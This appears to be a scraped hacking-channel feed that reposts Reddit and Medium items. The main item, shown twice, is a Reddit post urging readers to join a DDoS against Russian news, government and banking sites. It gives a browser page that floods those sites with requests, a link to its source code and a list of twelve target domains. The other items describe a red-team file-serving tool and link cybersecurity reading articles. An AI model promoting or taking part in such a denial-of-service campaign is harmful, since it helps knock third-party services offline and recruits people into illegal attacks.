Simple HTML DoS Script for Russian Sites
___________________________
@hacking_Attack
@Hacking_Video
Reddit
Simple HTML DoS Script for Russian Sites : r/hacking
2.2K votes, 362 comments. 2.7M subscribers in the hacking community. A subreddit dedicated to hacking and hackers. Constructive collaboration and…
hacking: security in practice
Support DDOS against russian propoganda websites. Use at your own risk
Someone asked about this recently. Use at your own risk.
Support the DDOS attacks on Russian propaganda websites. All you need to do:
- Open incognito tab in your browser
- Copy this URL: https://stop-russian-desinformation.near.page/
- Leave it open for the time that you can.
Every little step helps!
Page source code: https://pastebin.com/TS90FsFx
Page source code explained:
Requests are sent to the group page using your browser. It's basically the same as printing F5 a lot together. The goal is that the page doesn't load and shuts down. The code does not look malicious to its user, it simply uses computer resources to perform queries, the average user will not even feel it, and the effect on the pages is serious.
Targeted pages:
lenta[.]ru
ria[.]ru
rbc[.]ru
rt[.]com
kremlin[.]ru
smotrim[.]ru
tass[.]ru
tvzvezda[.]ru
vsoloviev[.]ru
1tv[.]ru
vesti[.]ru
sberbank[.]ru
submitted by /u/hypocrite1337
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
Support DDOS against russian propoganda websites. Use at your own risk
Someone asked about this recently. Use at your own risk.
Support the DDOS attacks on Russian propaganda websites. All you need to do:
- Open incognito tab in your browser
- Copy this URL: https://stop-russian-desinformation.near.page/
- Leave it open for the time that you can.
Every little step helps!
Page source code: https://pastebin.com/TS90FsFx
Page source code explained:
Requests are sent to the group page using your browser. It's basically the same as printing F5 a lot together. The goal is that the page doesn't load and shuts down. The code does not look malicious to its user, it simply uses computer resources to perform queries, the average user will not even feel it, and the effect on the pages is serious.
Targeted pages:
lenta[.]ru
ria[.]ru
rbc[.]ru
rt[.]com
kremlin[.]ru
smotrim[.]ru
tass[.]ru
tvzvezda[.]ru
vsoloviev[.]ru
1tv[.]ru
vesti[.]ru
sberbank[.]ru
submitted by /u/hypocrite1337
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
Reddit
reddit.com: over 18?
Reddit gives you the best of the internet in one place. Get a constantly updating feed of breaking news, fun stories, pics, memes, and videos just for you. Passionate about something niche? Reddit has thousands of vibrant communities with people that share…
Readteam-tool: Simple and secure web deployment for pentest and redteam with simwigo
https://www.reddit.com/r/redteamsec/comments/t1c13x/readteamtool_simple_and_secure_web_deployment_for/
Simwigo (https://github.com/8iche/simwigo/) is a cross-plateform tool, written in Go, that allows you to quickly deploy a secure web service (with a nice and neat display:)). It was created to replace the use of tools such as SimpleHTTPServer and http.server from python. It implements additional features allowing easy file exchange. It can be used for a pentest or a redteam, as well as for personal use. An API token authentication, a white list system, and the use of TLS (automatic deployment via Let's Encrypt (https://letsencrypt.org/)) are integrated and increase the security of the service. Check out the latest release: https://github.com/8iche/simwigo/ submitted by /u/B1che (https://www.reddit.com/user/B1che)
[link] (https://www.reddit.com/r/redteamsec/comments/t1c13x/readteamtool_simple_and_secure_web_deployment_for/) [comments] (https://www.reddit.com/r/redteamsec/comments/t1c13x/readteamtool_simple_and_secure_web_deployment_for/)
___________________________
@hacking_Attack
@Hacking_Video
https://www.reddit.com/r/redteamsec/comments/t1c13x/readteamtool_simple_and_secure_web_deployment_for/
Simwigo (https://github.com/8iche/simwigo/) is a cross-plateform tool, written in Go, that allows you to quickly deploy a secure web service (with a nice and neat display:)). It was created to replace the use of tools such as SimpleHTTPServer and http.server from python. It implements additional features allowing easy file exchange. It can be used for a pentest or a redteam, as well as for personal use. An API token authentication, a white list system, and the use of TLS (automatic deployment via Let's Encrypt (https://letsencrypt.org/)) are integrated and increase the security of the service. Check out the latest release: https://github.com/8iche/simwigo/ submitted by /u/B1che (https://www.reddit.com/user/B1che)
[link] (https://www.reddit.com/r/redteamsec/comments/t1c13x/readteamtool_simple_and_secure_web_deployment_for/) [comments] (https://www.reddit.com/r/redteamsec/comments/t1c13x/readteamtool_simple_and_secure_web_deployment_for/)
___________________________
@hacking_Attack
@Hacking_Video
reddit
Readteam-tool: Simple and secure web deployment for pentest and...
[Simwigo](https://github.com/8iche/simwigo/) is a cross-plateform tool, written in **Go**, that allows you to quickly deploy a secure web service...
Hacking on Medium
5 (MUST READ) Cybersecurity books for 2022!
https://cdn-images-1.medium.com/max/600/1*d7AG0TWuXGPbM7rXRDc5-g.png
What are some cybersecurity books that you should read for 2022? To answer this question, I will be discussing with you 5 (MUST READ)…
Continue reading on CodeX »
___________________________
@hacking_Attack
@Hacking_Video
5 (MUST READ) Cybersecurity books for 2022!
https://cdn-images-1.medium.com/max/600/1*d7AG0TWuXGPbM7rXRDc5-g.png
What are some cybersecurity books that you should read for 2022? To answer this question, I will be discussing with you 5 (MUST READ)…
Continue reading on CodeX »
___________________________
@hacking_Attack
@Hacking_Video
Medium
5 (MUST READ) Cybersecurity books for 2022!
What are some cybersecurity books that you should read for 2022? To answer this question, I will be discussing with you 5 (MUST READ)…
Hacking on Medium
What you can do to improve your cybersecurity strategy now
https://cdn-images-1.medium.com/max/2600/1*gNkD3tc-206IoEWS0GHNGg.jpeg
Current cybersecurity landscape and common threats
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
What you can do to improve your cybersecurity strategy now
https://cdn-images-1.medium.com/max/2600/1*gNkD3tc-206IoEWS0GHNGg.jpeg
Current cybersecurity landscape and common threats
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
What You Can Do To Improve Your Cybersecurity Strategy Now
Current cybersecurity landscape and common threats